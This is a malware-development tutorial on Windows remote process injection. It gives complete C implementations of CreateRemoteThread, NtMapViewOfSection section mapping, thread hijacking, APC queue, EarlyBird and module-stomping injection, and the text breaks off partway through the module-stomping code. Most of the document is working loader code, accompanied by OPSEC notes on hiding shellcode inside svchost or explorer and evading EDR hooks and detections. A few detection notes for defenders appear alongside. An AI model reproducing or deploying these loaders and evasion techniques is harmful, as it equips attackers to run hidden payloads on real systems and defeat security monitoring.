ᛉ Yggdrasil

Malware development

Remote Mapping Injection

17 Sep 2026 · 7,243 words · 33 min

Contents

Legend: [INJECT] = Injection technique | [NATIVE] = Native API / NTAPI | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [MITRE] = ATT&CK mapping


1. What is Remote Mapping Injection?

What it means: Remote mapping injection is the family of techniques where an attacker writes and executes shellcode inside a different process's virtual address space — the target/victim process. "Remote" here means cross-process, not network-remote. The injecting process never directly executes the shellcode; instead it arranges for the victim process to execute it.

Why it matters:

Without injection:
  loader.exe runs → AV sees loader.exe doing suspicious things → killed

With injection:
  loader.exe injects into → svchost.exe or explorer.exe
  AV sees: legitimate process doing network I/O
  Your shellcode runs hidden inside trusted process memory

The core problem injection solves:

Problem Solution via Injection
Process flagged by AV Run under a trusted process identity
EDR monitors your process Switch context to a process with fewer hooks
Firewall blocks unknown process Blend traffic under svchost.exe
Privilege required Inject into higher-privilege process
Suspicious parent-child tree Spoof or blend via trusted host

MITRE ATT&CK: [MITRE] T1055 — Process Injection (parent technique)

Sub-techniques covered in this document:

T1055.001 — Dynamic-link Library Injection
T1055.002 — Portable Executable Injection
T1055.003 — Thread Execution Hijacking
T1055.004 — Asynchronous Procedure Call (APC Queue)
T1055.012 — Process Hollowing (related)

2. Injection Primitives — The Three Stages

What it means: Every remote injection technique — no matter how advanced — is built from exactly three primitives chained together:

Stage 1: ALLOCATE
  └── Reserve memory in the target process address space
      APIs: VirtualAllocEx, NtAllocateVirtualMemory, NtMapViewOfSection

Stage 2: WRITE
  └── Copy your shellcode into that memory
      APIs: WriteProcessMemory, NtWriteVirtualMemory, memcpy (to mapped view)

Stage 3: EXECUTE
  └── Force the target process to run the shellcode
      APIs: CreateRemoteThread, NtCreateThreadEx, RtlCreateUserThread,
            QueueUserAPC, NtQueueApcThread, SetThreadContext, ResumeThread

Why EDRs focus on these three stages:

EDR detection model:
  ┌─────────────┐    ┌─────────────┐    ┌─────────────────┐
  │  ALLOCATE   │ →  │    WRITE    │ →  │    EXECUTE      │
  │ (low noise) │    │ (low noise) │    │ (HIGH NOISE)    │
  └─────────────┘    └─────────────┘    └─────────────────┘
         ↑                  ↑                    ↑
   Rarely flagged     Rarely flagged      EDR focuses here
                                       (thread creation, APC)

[OPSEC] Modern EDRs hook the execute primitive hardest. Techniques like Pool Party and section mapping succeed by replacing the noisy execution primitive with a legitimate-looking trigger.


3. Classic Remote Thread Injection (CreateRemoteThread)

[INJECT] The most fundamental and well-known remote injection technique. Allocates memory in the target, writes shellcode, and creates a new thread to execute it.

MITRE: T1055 (base technique, CRT variant)

3.1 How it Works

Injection flow:
  1. OpenProcess(PROCESS_ALL_ACCESS, PID)   → get handle to target
  2. VirtualAllocEx(handle, NULL, size,
     MEM_COMMIT | MEM_RESERVE,
     PAGE_EXECUTE_READWRITE)                → allocate RWX memory
  3. WriteProcessMemory(handle, addr,
     shellcode, size, NULL)                 → write shellcode bytes
  4. CreateRemoteThread(handle, NULL, 0,
     addr, NULL, 0, NULL)                   → new thread at shellcode
  5. Thread runs → shellcode executes

3.2 C Implementation

// classic_remote_inject.c — CreateRemoteThread shellcode injection
// Compile: x86_64-w64-mingw32-gcc classic_remote_inject.c -o inject.exe

#include <windows.h>
#include <stdio.h>

// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
    // ... (truncated — replace with your payload)
};
unsigned int shellcode_len = sizeof(shellcode);

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <PID>\n", argv[0]);
        return 1;
    }

    DWORD pid = atoi(argv[1]);

    // ── Step 1: Open handle to target process ─────────────────────
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD |        // needed for CreateRemoteThread
        PROCESS_QUERY_INFORMATION |    // needed to inspect process
        PROCESS_VM_OPERATION  |        // needed for VirtualAllocEx
        PROCESS_VM_READ       |        // needed for ReadProcessMemory
        PROCESS_VM_WRITE,              // needed for WriteProcessMemory
        FALSE,
        pid
    );
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Handle to PID %lu: 0x%p\n", pid, hProcess);

    // ── Step 2: Allocate RWX memory in target process ─────────────
    LPVOID remoteBuffer = VirtualAllocEx(
        hProcess,
        NULL,
        shellcode_len,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE         // RWX — noisy but simple
    );
    if (!remoteBuffer) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Remote buffer allocated at: 0x%p\n", remoteBuffer);

    // ── Step 3: Write shellcode into remote buffer ─────────────────
    SIZE_T written = 0;
    if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcode_len, &written)) {
        printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Wrote %zu bytes to 0x%p\n", written, remoteBuffer);

    // ── Step 4: Create remote thread at shellcode address ──────────
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,              // default security
        0,                 // default stack size
        (LPTHREAD_START_ROUTINE)remoteBuffer,  // start at shellcode
        NULL,              // no parameter
        0,                 // run immediately
        NULL               // don't capture thread ID
    );
    if (!hThread) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Remote thread created: 0x%p\n", hThread);
    printf("[+] Shellcode executing in PID %lu\n", pid);

    // Optional: wait for thread to complete
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

3.3 RW → RX Memory Flip (Stealthier)

Instead of RWX memory (very noisy), allocate RW, write, then flip to RX:

// ── Step 2: Allocate RW memory (no execute yet) ───────────────────
LPVOID remoteBuffer = VirtualAllocEx(
    hProcess, NULL, shellcode_len,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE               // RW only — less suspicious
);

// ── Step 3: Write shellcode ───────────────────────────────────────
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcode_len, NULL);

// ── Step 3b: Change protection to RX (no write needed anymore) ────
DWORD oldProtect = 0;
VirtualProtectEx(
    hProcess, remoteBuffer, shellcode_len,
    PAGE_EXECUTE_READ,           // RX — execute only, no write
    &oldProtect
);

// ── Step 4: CreateRemoteThread as before ──────────────────────────
CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

[DETECT] EDR catches: OpenProcess with PROCESS_VM_WRITE, VirtualAllocEx + WriteProcessMemory sequence, CreateRemoteThread with start address in heap/non-module memory. Sysmon Event ID 8 (CreateRemoteThread) logs this directly.

[EVASION] Classic injection is highly detected. Use it only in environments with no EDR or as a baseline test.


4. Section Mapping Injection (NtCreateSection + NtMapViewOfSection)

[INJECT] [NATIVE] The most powerful and stealthy remote mapping technique. Creates a shared memory section (Windows Section Object) and maps it into both the local and target processes. Writing to the local view is automatically reflected in the remote view — no WriteProcessMemory call needed.

MITRE: T1055 | EDR Noise Level: Low-Medium

4.1 Why Section Mapping Is Stealthier

Classic injection vs Section Mapping:
                     Classic CRT          Section Mapping
──────────────────   ──────────────────   ────────────────────────────
Memory alloc:        VirtualAllocEx       NtMapViewOfSection
Write shellcode:     WriteProcessMemory   memcpy() locally (reflected)
Execute:             CreateRemoteThread   RtlCreateUserThread
RWX allocation:      YES (in target)      NO — RW local, RX remote
VirtualAllocEx:      YES (noisy)          NO — never called
WPM in remote:       YES (noisy)          NO — never called

EDR signature:       DETECTED             Harder to detect

4.2 How it Works

Section Mapping flow:
  1. NtCreateSection(sectionHandle, RWX, size, PAGE_EXECUTE_READWRITE, SEC_COMMIT)
     └── Creates a named/unnamed shared memory section (kernel object)

  2. NtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localAddr, PAGE_READWRITE)
     └── Maps section into OUR process with RW access
         We can write shellcode here

  3. NtMapViewOfSection(sectionHandle, targetProcess, &remoteAddr, PAGE_EXECUTE_READ)
     └── Maps same section into TARGET process with RX access
         Whatever we write to localAddr appears here automatically

  4. memcpy(localAddr, shellcode, size)
     └── Copy shellcode into local view → auto-mirrored into target

  5. RtlCreateUserThread(targetProcess, NULL, remoteAddr, ...)
     └── Trigger execution in target at remoteAddr

4.3 Required Structures and Type Definitions

// section_inject_types.h — NTAPI typedefs needed for section injection

#include <windows.h>
#pragma comment(lib, "ntdll")

// UNICODE_STRING and OBJECT_ATTRIBUTES (for NTAPI calls)
typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG  Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG  Attributes;
    PVOID  SecurityDescriptor;
    PVOID  SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    PVOID UniqueProcess;
    PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

// Function pointer typedefs for NtCreateSection, NtMapViewOfSection, RtlCreateUserThread
typedef NTSTATUS (NTAPI *pNtCreateSection)(
    OUT PHANDLE            SectionHandle,
    IN  ULONG              DesiredAccess,
    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN  PLARGE_INTEGER     MaximumSize OPTIONAL,
    IN  ULONG              PageAttributes,
    IN  ULONG              SectionAttributes,
    IN  HANDLE             FileHandle OPTIONAL
);

typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
    IN  HANDLE          SectionHandle,
    IN  HANDLE          ProcessHandle,
    OUT PVOID           *BaseAddress,
    IN  ULONG_PTR       ZeroBits,
    IN  SIZE_T          CommitSize,
    IN  PLARGE_INTEGER  SectionOffset OPTIONAL,
    OUT PSIZE_T         ViewSize,
    IN  DWORD           InheritDisposition,
    IN  ULONG           AllocationType,
    IN  ULONG           Win32Protect
);

typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
    IN  HANDLE              ProcessHandle,
    IN  PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
    IN  BOOLEAN             CreateSuspended,
    IN  ULONG               StackZeroBits,
    IN  PULONG              StackReserved,
    IN  PULONG              StackCommit,
    IN  PVOID               StartAddress,
    IN  PVOID               StartParameter OPTIONAL,
    OUT PHANDLE             ThreadHandle,
    OUT PCLIENT_ID          ClientID
);

4.4 Full C Implementation

// section_mapping_inject.c — NtCreateSection + NtMapViewOfSection injection
// Compile: x86_64-w64-mingw32-gcc section_mapping_inject.c -o inject.exe -lntdll

#include <windows.h>
#include <stdio.h>
#include "section_inject_types.h"  // typedefs above

// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    // ... replace with your payload
};

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <PID>\n", argv[0]);
        return 1;
    }
    DWORD targetPid = atoi(argv[1]);

    // ── Resolve NTAPI functions dynamically from ntdll ─────────────
    HMODULE hNtdll = GetModuleHandleA("ntdll");
    pNtCreateSection    fNtCreateSection    = (pNtCreateSection)   GetProcAddress(hNtdll, "NtCreateSection");
    pNtMapViewOfSection fNtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    pRtlCreateUserThread fRtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(hNtdll, "RtlCreateUserThread");

    if (!fNtCreateSection || !fNtMapViewOfSection || !fRtlCreateUserThread) {
        printf("[-] Failed to resolve NTAPI functions\n");
        return 1;
    }

    HANDLE   sectionHandle      = NULL;
    PVOID    localSectionAddr   = NULL;
    PVOID    remoteSectionAddr  = NULL;
    SIZE_T   viewSize           = 4096;   // 1 page; increase for larger payloads
    LARGE_INTEGER sectionSize   = { (LONGLONG)viewSize };

    // ── Step 1: Create a shared memory section ─────────────────────
    NTSTATUS status = fNtCreateSection(
        &sectionHandle,
        SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
        NULL,                       // no object attributes (anonymous)
        (PLARGE_INTEGER)&sectionSize,
        PAGE_EXECUTE_READWRITE,     // section page protections
        SEC_COMMIT,                 // commit the section immediately
        NULL                        // no backing file (memory-only)
    );
    printf("[*] NtCreateSection status: 0x%X | Handle: 0x%p\n", status, sectionHandle);

    // ── Step 2: Map local (RW) view into THIS process ──────────────
    status = fNtMapViewOfSection(
        sectionHandle,
        GetCurrentProcess(),
        &localSectionAddr,
        0, 0, NULL,
        &viewSize,
        2,                          // ViewUnmap (child processes don't inherit)
        0,                          // no extra allocation type
        PAGE_READWRITE              // local: write-only (no need to exec here)
    );
    printf("[*] Local view mapped at: 0x%p (RW)\n", localSectionAddr);

    // ── Step 3: Open target process and map remote (RX) view ───────
    HANDLE hTarget = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION,
        FALSE,
        targetPid
    );
    if (!hTarget) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return 1;
    }

    status = fNtMapViewOfSection(
        sectionHandle,
        hTarget,                    // TARGET process, not us
        &remoteSectionAddr,
        0, 0, NULL,
        &viewSize,
        2,
        0,
        PAGE_EXECUTE_READ           // remote: execute-only (no write bit!)
    );
    printf("[*] Remote view mapped at: 0x%p (RX) in PID %lu\n", remoteSectionAddr, targetPid);

    // ── Step 4: Write shellcode to LOCAL view — mirrors to remote ──
    // Note: no WriteProcessMemory! Local memcpy reflects into target.
    memcpy(localSectionAddr, shellcode, sizeof(shellcode));
    printf("[+] Shellcode copied to local section (auto-mirrored to target)\n");

    // ── Step 5: Trigger execution in target process ────────────────
    HANDLE hRemoteThread = NULL;
    CLIENT_ID cid = { 0 };
    status = fRtlCreateUserThread(
        hTarget,
        NULL,                       // no security descriptor
        FALSE,                      // not suspended — execute immediately
        0,                          // stack zero bits
        NULL, NULL,                 // stack reserved/commit (use defaults)
        remoteSectionAddr,          // start address = remote shellcode
        NULL,                       // no parameter
        &hRemoteThread,
        &cid
    );
    printf("[+] RtlCreateUserThread status: 0x%X | Thread: 0x%p\n", status, hRemoteThread);
    printf("[+] Shellcode executing in PID %lu at 0x%p\n", targetPid, remoteSectionAddr);

    WaitForSingleObject(hRemoteThread, INFINITE);
    CloseHandle(hRemoteThread);
    CloseHandle(hTarget);
    CloseHandle(sectionHandle);
    return 0;
}

4.5 Why RW Local + RX Remote is Stealthier

Memory protection breakdown:

  Local process (injector):
  ├─ localSectionAddr  → PAGE_READWRITE  (no execute bit!)
  └─ We write here — fine, no RWX alarm

  Remote process (target):
  ├─ remoteSectionAddr → PAGE_EXECUTE_READ  (no write bit!)
  └─ Target executes here — legitimate RX region

  EDR sees in target:
  ├─ No VirtualAllocEx call
  ├─ No WriteProcessMemory call
  ├─ Memory is RX (not RWX) — maps look like legit DLL-backed memory
  └─ Only suspicious artifact: RtlCreateUserThread starting in a mapped view

[OPSEC] This is the primary advantage of section mapping — the target process never has an RWX page. Many EDR heuristics specifically hunt for RWX allocations.

[DETECT] Sysmon can still catch this via CreateRemoteThread/RtlCreateUserThread events. Advanced EDRs monitor NtMapViewOfSection calls targeting external processes.


5. Thread Hijacking Injection (SuspendThread / SetThreadContext)

[INJECT] Targets an already existing thread in the victim process. No new thread is created — avoids CreateRemoteThread detection entirely. The existing thread's instruction pointer (RIP) is hijacked mid-execution.

MITRE: T1055.003 — Thread Execution Hijacking

5.1 How it Works

Thread hijacking flow:
  1. Find a thread in the target process (CreateToolhelp32Snapshot)
  2. SuspendThread(threadHandle)       → freeze it mid-execution
  3. GetThreadContext(threadHandle)    → read its current registers (RIP, etc.)
  4. VirtualAllocEx → WriteProcessMemory → write shellcode
  5. Build a small trampoline:
       push <original_RIP>            → save return address
       ret                            → after shellcode, resume original flow
  6. SetThreadContext — redirect RIP to shellcode address
  7. ResumeThread(threadHandle)       → thread resumes at our shellcode

5.2 C Implementation

// thread_hijack_inject.c — Thread Execution Hijacking
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

unsigned char shellcode[] = { /* your shellcode */ };

// Find the first thread of a given process
DWORD GetFirstThreadId(DWORD pid) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;

    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD tid = 0;

    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                tid = te.th32ThreadID;
                break;
            }
        } while (Thread32Next(snap, &te));
    }
    CloseHandle(snap);
    return tid;
}

int main(int argc, char *argv[]) {
    if (argc < 2) { printf("Usage: %s <PID>\n", argv[0]); return 1; }
    DWORD pid = atoi(argv[1]);

    // ── Step 1: Find a thread to hijack ───────────────────────────
    DWORD tid = GetFirstThreadId(pid);
    printf("[*] Target thread ID: %lu\n", tid);

    HANDLE hThread = OpenThread(
        THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
        FALSE, tid
    );
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE, pid
    );

    // ── Step 2: Suspend the thread ─────────────────────────────────
    SuspendThread(hThread);
    printf("[+] Thread suspended\n");

    // ── Step 3: Get thread context (save original RIP) ─────────────
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);
    printf("[*] Original RIP: 0x%llx\n", ctx.Rip);

    // ── Step 4: Allocate + write shellcode ────────────────────────
    LPVOID shellAddr = VirtualAllocEx(
        hProcess, NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(hProcess, shellAddr, shellcode, sizeof(shellcode), NULL);

    // Optional: Write a trampoline to jump back to original RIP after shellcode
    // Shellcode must be written to preserve thread state (push regs / pop regs)
    // For simple PoC, we just redirect RIP directly:

    // ── Step 5: Set RIP to shellcode ──────────────────────────────
    ctx.Rip = (DWORD64)shellAddr;
    SetThreadContext(hThread, &ctx);
    printf("[+] RIP redirected to: 0x%p\n", shellAddr);

    // ── Step 6: Resume thread (now executes our shellcode) ─────────
    ResumeThread(hThread);
    printf("[+] Thread resumed — shellcode executing\n");

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

[OPSEC] Thread hijacking risk: The victim thread is abruptly redirected. If shellcode doesn't restore original registers and return to the original RIP, the target process will crash. Always implement a trampoline or use shellcode that properly restores thread context.

[DETECT] Less detected than CreateRemoteThread because no new thread is spawned. However, SuspendThread + SetThreadContext on a thread owned by another process is a telltale API sequence that advanced EDRs flag.


6. APC Queue Injection

[INJECT] Uses Windows Asynchronous Procedure Calls (APC) to queue shellcode execution on a thread of the target process. The thread must enter an alertable state (e.g., calling SleepEx, WaitForSingleObjectEx) for the APC to fire.

MITRE: T1055.004 — Asynchronous Procedure Call

6.1 How it Works

APC Queue injection flow:
  1. OpenProcess + VirtualAllocEx + WriteProcessMemory  (same as classic)
  2. Find threads in target process (Toolhelp32Snapshot)
  3. OpenThread(THREAD_SET_CONTEXT, ..., tid)
  4. QueueUserAPC(shellcodeAddr, hThread, NULL)
     └── Shellcode is queued in the APC queue of that thread
  5. Wait... until thread enters alertable state:
     └── SleepEx(duration, TRUE)
     └── WaitForSingleObjectEx(handle, timeout, TRUE)
     └── MsgWaitForMultipleObjectsEx(...)
  6. Thread drains APC queue → executes shellcode

  Drawback: Can only queue to threads in alertable state
  Solution: Queue to ALL threads — one will eventually become alertable

6.2 C Implementation

// apc_inject.c — APC Queue shellcode injection
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

unsigned char shellcode[] = { /* your payload */ };

int main(int argc, char *argv[]) {
    if (argc < 2) { printf("Usage: %s <PID>\n", argv[0]); return 1; }
    DWORD pid = atoi(argv[1]);

    // ── Step 1: Open target process ───────────────────────────────
    HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS, FALSE, pid
    );

    // ── Step 2: Allocate + write shellcode ────────────────────────
    LPVOID shellAddr = VirtualAllocEx(
        hProcess, NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(hProcess, shellAddr, shellcode, sizeof(shellcode), NULL);
    printf("[+] Shellcode at: 0x%p in PID %lu\n", shellAddr, pid);

    // ── Step 3: Enumerate threads and queue APC to each ───────────
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    int queueCount = 0;

    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(
                    THREAD_SET_CONTEXT, FALSE, te.th32ThreadID
                );
                if (hThread) {
                    // Queue shellcode as APC on this thread
                    DWORD result = QueueUserAPC(
                        (PAPCFUNC)shellAddr,  // APC routine = shellcode
                        hThread,
                        0
                    );
                    if (result) {
                        printf("[+] APC queued to thread %lu\n", te.th32ThreadID);
                        queueCount++;
                    }
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(snap, &te));
    }
    CloseHandle(snap);
    printf("[+] APC queued to %d threads — waiting for alertable state\n", queueCount);

    CloseHandle(hProcess);
    return 0;
}

[OPSEC] APC injection is reliable only if the target thread enters an alertable state. For processes like explorer.exe, this happens frequently. For services that never call alertable waits, execution may never trigger.


7. EarlyBird APC Injection

[INJECT] A refinement of APC injection — one of the most stealthy techniques. Instead of targeting an existing process with alertable threads, a new process is created in a suspended state, shellcode is injected before any EDR hooks initialize, then the APC is queued before the process even starts. When the process resumes, it immediately drains the APC queue and executes shellcode.

MITRE: T1055.004 | EDR Noise: Very Low (hooks haven't loaded yet)

7.1 Why EarlyBird is Stealthy

Normal injection: process is running → EDR hooks are already in place

EarlyBird timing:
  CreateProcess(..., CREATE_SUSPENDED)
  └── Process is created but NOT started
  └── DLLs (including ntdll) not yet initialized
  └── EDR user-mode hooks NOT YET INSTALLED
      ↓
  VirtualAllocEx + WriteProcessMemory + QueueUserAPC
      ↓ (now resume)
  ResumeThread()
  └── Process starts → LdrInitializeThunk runs
  └── LdrInitializeThunk calls NtTestAlert → drains APC queue
  └── OUR SHELLCODE RUNS before any EDR code in the process

7.2 C Implementation

// earlybird_inject.c — EarlyBird APC shellcode injection
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = { /* your payload */ };

int main() {
    STARTUPINFOA si   = { sizeof(STARTUPINFOA) };
    PROCESS_INFORMATION pi = { 0 };

    // ── Step 1: Create a new process in suspended state ───────────
    // Use a legitimate-looking target (svchost, explorer, etc.)
    BOOL created = CreateProcessA(
        "C:\\Windows\\System32\\svchost.exe",   // legitimate binary
        NULL,
        NULL, NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,    // KEY: suspended
        NULL, NULL,
        &si, &pi
    );
    if (!created) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Process created (suspended) PID: %lu | TID: %lu\n",
           pi.dwProcessId, pi.dwThreadId);

    // ── Step 2: Allocate memory and write shellcode ────────────────
    LPVOID shellAddr = VirtualAllocEx(
        pi.hProcess, NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(pi.hProcess, shellAddr, shellcode, sizeof(shellcode), NULL);
    printf("[+] Shellcode written to: 0x%p\n", shellAddr);

    // ── Step 3: Queue APC to the main (suspended) thread ──────────
    // This APC will fire when the thread is resumed and becomes alertable
    // LdrInitializeThunk automatically calls NtTestAlert, which drains APC queue
    QueueUserAPC(
        (PAPCFUNC)shellAddr,    // our shellcode as APC routine
        pi.hThread,             // the suspended main thread
        0
    );
    printf("[+] APC queued to thread %lu\n", pi.dwThreadId);

    // ── Step 4: Resume — shellcode fires before EDR hooks load ────
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed — EarlyBird shellcode executing\n");

    WaitForSingleObject(pi.hProcess, 3000);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

[OPSEC] EarlyBird defeats many user-mode EDR hooks because execution happens before DllMain of EDR DLLs runs. However, EDRs that use kernel callbacks (PsSetCreateProcessNotifyRoutine, PsSetLoadImageNotifyRoutine) and Early Cascade Injection detection (Outflank 2024) can still see it.

[DETECT] Sysmon: Look for CREATE_SUSPENDED flag on CreateProcess followed immediately by VirtualAllocEx + QueueUserAPC before ResumeThread.


8. Module Stomping (DLL Hollowing)

[INJECT] [EVASION] An advanced technique that injects shellcode directly into the memory of a legitimately loaded DLL inside the target process, then executes from that DLL's address space. The shellcode runs from what appears to be a legitimate Windows module — beating detections that check thread start addresses.

MITRE: T1055.001 (DLL variant) | EDR Noise: Low

8.1 How it Works

Module Stomping flow:
  1. Inject a benign Windows DLL into the target (e.g., amsi.dll, winmm.dll)
     → LoadLibraryEx / CreateRemoteThread → LoadLibrary trick
  2. Find the DLL's AddressOfEntryPoint in the target process
  3. VirtualProtectEx → change DLL's .text section to RW (temporarily)
  4. WriteProcessMemory → overwrite DLL entry point with shellcode
  5. VirtualProtectEx → restore to RX protection
  6. CreateRemoteThread with start = DLL entry point address
  7. Thread executes — appears to start in amsi.dll / winmm.dll

8.2 Key Advantages Over Classic Injection

Thread start address (what EDR sees):

  Classic CRT:    → 0x00001234abcd (anonymous heap — SUSPICIOUS)
  Module Stomping → amsi.dll!DllMain (legitimate DLL address — CLEAN)

Memory scan:
  Classic:        → Unmapped RWX region with shellcode bytes — DETECTED
  Module Stomping → amsi.dll mapped region with shellcode — harder to flag
                    (DLL is "legitimate" from EDR perspective)

8.3 C Implementation

// module_stomp_inject.c — Module Stomping (amsi.dll) into remote process
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "psapi")

unsigned char shellcode[] = { /* your payload */ };

// Helper: inject a DLL via LoadLibrary remote thread trick
BOOL RemoteLoadLibrary(HANDLE hProcess, const wchar_t *dllPath) {
    // Allocate space for DLL path string in target
    SIZE_T pathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
    LPVOID remotePath = VirtualAllocEx(
        hProcess, NULL, pathLen,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    WriteProcessMemory(hProcess, remotePath, dllPath, pathLen, NULL);

    // Create remote thread calling LoadLibraryW(dllPath)
    FARPROC pLoadLibraryW = GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryW"
    );
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pLoadLibraryW,
        remotePath, 0, NULL
    );
    WaitForSingleObject(hThread, 3000);
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, remotePath, 0, MEM_RELEASE);
    return TRUE;
}

int main(int argc, char *argv[]) {
    if (argc < 2) { printf("Usage: %s <PID>\n", argv[0]); return 1; }
    DWORD pid = atoi(argv[1]);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // ── Step 1: Inject amsi.dll into target ───────────────────────
    wchar_t asmsiPath[] = L"C:\\Windows\\System32\\amsi.dll";
    RemoteLoadLibrary(hProcess, asmsiPath);
    printf("[+] amsi.dll injected into target\n");

    // ── Step 2: Find amsi.dll in target's module list ─────────────
    HMODULE modules[256] = { 0 };
    DWORD modulesNeeded = 0;
    EnumProcessModules(hProcess, modules, sizeof(modules), &modulesNeeded);
    DWORD moduleCount = modulesNeeded / sizeof(HMODULE);

    HMODULE amsiModule = NULL;
    for (DWORD i = 0; i < moduleCount; i++) {
        wchar_t modName[MAX_PATH] = { 0 };
        GetModuleFileNameExW(hProcess, modules[i], modName, MAX_PATH);
        if (wcsstr(modName, L"amsi.dll") != NULL) {
            amsiModule = modules[i];
            printf("[+] amsi.dll at: 0x%p in target\n", amsiModule);
            break;
        }
    }

    // ── Step 3: Get DLL entry point (AddressOfEntryPoint) ─────────
    IMAGE_DOS_HEADER dosHdr = { 0 };
    IMAGE_NT_HEADERS ntHdr  = { 0 };
    ReadProcessMemory(hProcess, amsiModule, &dosHdr, sizeof(dosHdr), NULL);
    ReadProcessMemory(hProcess,
        (BYTE *)amsiModule + dosHdr.e_lfanew, &ntHdr, sizeof(ntHdr), NULL
    );
    LPVOID entryPoint = (BYTE *)amsiModule +
        ntHdr.OptionalHeader.AddressOfEntryPoint;
    printf("[+] amsi.dll EntryPoint: 0x%p\n", entryPoint);

    // ── Step 4: Change protection to RW and stomp shellcode ───────
    DWORD oldProtect = 0;
    VirtualProtectEx(
        hProcess, entryPoint, sizeof(shellcode),
        PAGE_READWRITE, &oldProtect
    );
    WriteProcessMemory(hProcess, entryPoint, shellcode, sizeof(shellcode), NULL);
    VirtualProtectEx(
        hProcess, entryPoint, sizeof(shellcode),
        PAGE_EXECUTE_READ, &oldProtect   // restore to RX — no write flag!
    );
    printf("[+] Shellcode stomped into amsi.dll entry point\n");

    // ── Step 5: Execute from DLL entry point ──────────────────────
